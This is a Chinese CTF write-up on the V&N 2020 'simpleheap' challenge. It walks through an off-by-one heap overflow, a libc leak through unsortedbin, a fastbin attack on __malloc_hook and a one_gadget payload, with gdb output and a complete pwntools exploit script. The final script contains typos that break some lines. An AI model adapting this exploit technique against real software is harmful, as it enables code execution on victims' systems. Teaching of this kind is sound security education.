OFF BY ONE
所謂OFF BY ONE就是利用堆溢出一個字節(jié)到下一個堆塊,使得目前堆塊與下一堆塊合并成一個堆塊,此時堆塊的大小就是我們溢出的那一字節(jié)
并且堆塊的fd(前驅(qū)指針)以及bk(后繼指針)都會指向
main_arena+88的地址這也是我們泄露出來的地址
利用gdb 輸入libc查看基地址,main_arena+88-libc=offset
UNSORTERBIN&FASTBINS
在堆塊的bins中分為fastbins,largebins,smallbins還有今天要用到的unsortedbin。所謂unsortedbin就是為未分類的區(qū)塊。
例題講解
本次我選用V&N在2020的招新賽的simpleheap 如有需要可在buuctf找到
思路概述
我們先創(chuàng)建足夠的堆塊一般對于這種菜單類型的題目我們創(chuàng)建4個堆塊
其中編號為3(編號從0到3)的堆塊用來隔開top chunk避免我們需要用到的
編號為1,2的堆塊中的2堆塊與top chunk重合導(dǎo)致無法使用unsortedbin攻擊
接著去利用off by one+unsortedbin泄露libc(使用show函數(shù))最后將堆排布好并構(gòu)建payload傳入即可
免費(fèi)領(lǐng)取學(xué)習(xí)資料
2021年全套網(wǎng)絡(luò)安全資料包及最新面試題
(滲透工具,環(huán)境搭建、HTML,PHP,MySQL基礎(chǔ)學(xué)習(xí),信息收集,SQL注入,XSS,CSRF,暴力破解等等)
First step
常規(guī)操作checksec
保護(hù)全開64位,倒也正常。接著拉進(jìn)ida慢慢分析
q@ubuntu:~$ checksec vn
[*] '/home/q/vn'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
如下我們可以發(fā)現(xiàn)是個非常經(jīng)典的菜單題目,那么經(jīng)過查找漏洞點發(fā)現(xiàn)在edit函數(shù)
void __fastcall main(__int64 a1, char **a2, char **a3)
{
sub_A39(a1, a2, a3);
puts("Welcome to V&N challange!");
puts("This's a simple heap for you.");
while ( 1 )
{
menu();
switch ( (unsigned int)sub_9EA() )
{
case 1u:
add();
break;
case 2u:
edit();
break;
case 3u:
show();
break;
case 4u:
del();
break;
case 5u:
exit(0);
default:
puts("Please input current choice.");
break;
}
}
}
如下get_input_content里面有個off by one 的漏洞
unsigned __int64 __fastcall sub_C39(__int64 a1, int a2)
{
unsigned __int64 result; // rax
unsigned int i; // [rsp+1Ch] [rbp-4h]
for ( i = 0; ; ++i )
{
result = i;
if ( (int)i > a2 )
break;
if ( !read(0, (void *)((int)i + a1), 1uLL) )
exit(0);
if ( *(_BYTE *)((int)i + a1) == 10 )
{
result = (int)i + a1;
*(_BYTE *)result = 0;
return result;
}
}
return result;
}
Second step
在第一步我們對程序的漏洞點尋找完畢
現(xiàn)在我們要開始第二步去利用off by one創(chuàng)建fake chunk了,先上交互函數(shù)
from pwn import *
context(log_level='debug')
r=process('./vn')
elf=ELF('./vn')
r=remote('node3.buuoj.cn',28465)
libc=ELF('16.so')
def add(size,content):
r.recvuntil("choice: ")
r.sendline("1")
r.sendlineafter("size?",str(size))
r.sendlineafter("content:",content)
def edit(idx,content):
r.recvuntil("choice: ")
r.sendline("2")
r.sendlineafter("idx?",str(idx))
r.sendlineafter("content:",content)
def dump(idx):
r.recvuntil("choice: ")
r.sendline("3")
r.sendlineafter("idx?",str(idx))
def free(idx):
r.recvuntil("choice: ")
r.sendline("4")
r.sendlineafter("idx?",str(idx))
如思路概述所講到我們需要創(chuàng)建4個堆
我們創(chuàng)建好的堆結(jié)構(gòu)如下

在gdb中正常的堆結(jié)構(gòu)如下
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x556b208da000
Size: 0x21
Allocated chunk | PREV_INUSE
Addr: 0x556b208da020
Size: 0x71
Allocated chunk | PREV_INUSE
Addr: 0x556b208da090
Size: 0x71
Allocated chunk | PREV_INUSE
Addr: 0x556b208da100
Size: 0x21
Top chunk | PREV_INUSE
Addr: 0x556b208da120
Size: 0x20ee1
接下來我們開始利用off by one去對其創(chuàng)建fake chunk
add(0x18,b'a')#0
add(0x68,b'a')#1
add(0x68,b'a')#2
add(0x18,b'a')#3 阻斷top chunk
edit(0,b'a'*0x18+b'\xe1')
free(1)
gdb.attach(r)
gdb中調(diào)試結(jié)果如下,我們很明顯的可以看見兩個0x71的堆塊合并成了我們想要的0xe1的堆塊,此時我們的fake chunk就構(gòu)建完畢了
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x5650f994f000
Size: 0x21
Free chunk (unsortedbin) | PREV_INUSE
Addr: 0x5650f994f020
Size: 0xe1
fd: 0x7fc2f9aebb78
bk: 0x7fc2f9aebb78
Allocated chunk
Addr: 0x5650f994f100
Size: 0x20
Top chunk | PREV_INUSE
Addr: 0x5650f994f120
Size: 0x20ee1
Third step
有了fake chunk 現(xiàn)在我們就需要用到unsortedbin里面的chunk去泄露libc
在開頭的OFF BY ONE的介紹中我們提到了因為OFF BY ONE形成的chunk
其fd bk指針會指向main_arena+88,在gdb輸入libc可以得到libc的地址
main_arena+88-libc=offset=0x3c4b78
在這里呢我們現(xiàn)在要解決的如何用腳本實現(xiàn)交互自動取得偏移呢?
這里就要繼續(xù)提到
分割unsortedbin
我們重新申請一個堆塊,該堆塊的大小若剛好在unsortedbin中(強(qiáng)烈建議對半分割),我們申請回來之后通過gdb可以看見其中的堆結(jié)構(gòu)如下
一個0x71在unsortedbin,另外一個是我們可以正常使用的,此時他的內(nèi)容便是fd與bk指向的地址main_arena+88
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x559615971000
Size: 0x21
Allocated chunk | PREV_INUSE
Addr: 0x559615971020
Size: 0x71
Free chunk (unsortedbin) | PREV_INUSE
Addr: 0x559615971090
Size: 0x71
fd: 0x7f0437e11b78
bk: 0x7f0437e11b78
Allocated chunk
Addr: 0x559615971100
Size: 0x20
Top chunk | PREV_INUSE
Addr: 0x559615971120
Size: 0x20ee1
因此我們可以得的泄露腳本如下
add(0x68,b'a'*0x08)#1 切割unsortedbin 使得2進(jìn)入unsortedbin泄露
main_arena
dump(2)
leak=u64(r.recv(6).ljust(8,b'\x00'))
print(hex(leak))
gdb.attach(r)
libc_base=leak-(0x3c4b78)#0x7f2c05c6cb78-0x7f2c058a8000
realloc_addr=libc_base+libc.sym['__libc_realloc']
malloc_hook=libc_base+libc.sym['__malloc_hook']
fake_chunk_addr=malloc_hook-0x23
one_gadget=libc_base+0x4526a
print(hex(realloc_addr))
print(hex(fake_chunk_addr))
PS:
這里可以說下為什么fake_chunk_addr=malloc_hook-0x23
這個malloc_hook-0x23剛好可以達(dá)到fastbin這個基本上每個程序都是固定的
如下0x7f78812fbaed就是fake chunk的地址處于fastbins
并且非常有意思的是此處正是我們leak處main_arena+88這個地方減去88再減去0x33得的的地址,并且該地址也是我們對堆塊輸入內(nèi)容的地址
pwndbg> bins
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x55f8ce9d4090 —? 0x7f78812fbaed (_IO_wide_data_0+301) ?— 0x7880fbcea0000000
0x80: 0x0
unsortedbin
all: 0x0
smallbins
empty
largebins
empty
Last step
我們現(xiàn)在有了需要的一切,那么現(xiàn)在最后一步就是對堆進(jìn)行排布并且傳入我們構(gòu)建好的payload
在這里所謂的堆排布就是我們要想辦法讓堆塊去執(zhí)行我們的傳入的payload
從第三步完結(jié)的時候堆排布如下
此時我們再申請一個0x68大小的堆塊就可以把unsortedbin里面的東西都拿出來
此時堆結(jié)構(gòu)依然不改變,只是位于unsortedbin的chunk變成可以利用的正常chunk其fd bk指針不再指向別的地址而是去指向前驅(qū)和后繼的chunk
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x555d4046b000
Size: 0x21
Allocated chunk | PREV_INUSE
Addr: 0x555d4046b020
Size: 0x71
Free chunk (unsortedbin) | PREV_INUSE
Addr: 0x555d4046b090
Size: 0x71
fd: 0x7ff34264eb78
bk: 0x7ff34264eb78
Allocated chunk
Addr: 0x555d4046b100
Size: 0x20
Top chunk | PREV_INUSE
Addr: 0x555d4046b120
Size: 0x20ee1
接下來我們再去free掉一個0x68大小的chunk
對留下來的0x68大小的chunk內(nèi)容填充為fake chunk的地址
接著繼續(xù)把被free的chunk申請回來,那么此時fastbin鏈表就會去指向fake chunk
也許語言看蒙了人,我就用圖表示
圖1如下是free掉后再去填充的樣子

圖2如下是我們把被free的chunk申請回來后的樣子

此時我們可以說是已經(jīng)劫持成功了,我們接著去填充payload然后再申請一個堆塊就可以觸發(fā)payload了
add(0x68,b'a'*0x08)# 4與2同時指向0x70
free(4)
edit(2,p64(fake_chunk_addr))
add(0x68,b'a'*0x08)#4
payload=b'a'*(0x13-0x08)+p64(one_gadget)+p64(realloc_addr+12)
add(0x68,payload)#5
r.recvuntil("choice: ")
r.sendline("1")
r.sendlineafter("size?",str(0x18))
print(hex(libc.sym['__malloc_hook']))
r.interactive()
PS:
關(guān)于為什么是0x13-0x08,因為我們從main_arena-0x33的位置填充的(第三步有提到),而這個位置距離realloc_hook的距離就是(0x13-8)
關(guān)于realloc_hook壓棧到底要加多少
我們可以打開gdb輸入 x/32i __libc_realloc
pwndbg> x/32i __libc_realloc
0x7ff34230e710 <__GI___libc_realloc>: push r15
0x7ff34230e712 <__GI___libc_realloc+2>: push r14
0x7ff34230e714 <__GI___libc_realloc+4>: push r13
0x7ff34230e716 <__GI___libc_realloc+6>: push r12
0x7ff34230e718 <__GI___libc_realloc+8>: mov r12,rsi
0x7ff34230e71b <__GI___libc_realloc+11>: push rbp
0x7ff34230e71c <__GI___libc_realloc+12>: push rbx
把里面的數(shù)字一個個代入試試看。
最后的完整exp如下
EXP:
需要的libc從buuctf里面下載
from pwn import *
context(log_level='debug')
r=process('./vn')
elf=ELF('./vn')
r=remote('node3.buuoj.cn',28640)
libc=ELF('64.so')
def add(size,content):
r.recvuntil("choice: ")
r.sendline("1")
r.sendlineafter("size?",str(size))
r.sendlineafter("content:",content)
def edit(idx,content):
r.recvuntil("choice: ")
r.sendline("2")
r.sendlineafter("idx?",str(idx))
r.sendlineafter("content:",content)
def dump(idx):
r.recvuntil("choice: ")
r.sendline("3")
r.sendlineafter("idx?",str(idx))
def free(idx):
r.recvuntil("choice: ")
r.sendline("4")
r.sendlineafter("idx?",str(idx))
gdb.attach(r)
add(0x18,b'a')#0
add(0x68,b'a')#1
add(0x68,b'a')#2
add(0x18,b'a')#3 阻斷top chunk
edit(0,b'a'0x18+b'\xe1')
free(1)
add(0x68,b'a'0x08)#1 切割unsortedbin 使得2進(jìn)入unsortedbin泄露main_arena
dump(2)
leak=u64(r.recv(6).ljust(8,b'\x00'))
print(hex(leak))
libc_base=leak-(0x3c4b78)#0x7f2c05c6cb78-0x7f2c058a8000
realloc_addr=libc_base+libc.sym['__libc_realloc']
malloc_hook=libc_base+libc.sym['__malloc_hook']
fake_chunk_addr=malloc_hook-0x23
one_gadget=libc_base+0x4526a
print(hex(realloc_addr))
print(hex(fake_chunk_addr))
add(0x68,b'a'0x08)# 4與2同時指向0x70
free(4)
edit(2,p64(fake_chunk_addr))
add(0x68,b'a'0x08)#4
payload=b'a'*(0x13-0x08)+p64(one_gadget)+p64(realloc_addr+12)
add(0x68,payload)#5
r.recvuntil("choice: ")
r.sendline("1")
r.sendlineafter("size?",str(0x18))
print(hex(libc.sym['__malloc_hook']))
r.interactive()
結(jié)果如下
headImg.action?news=1e9dfc2b-b0f3-473a-a041-49d1486572e7.png
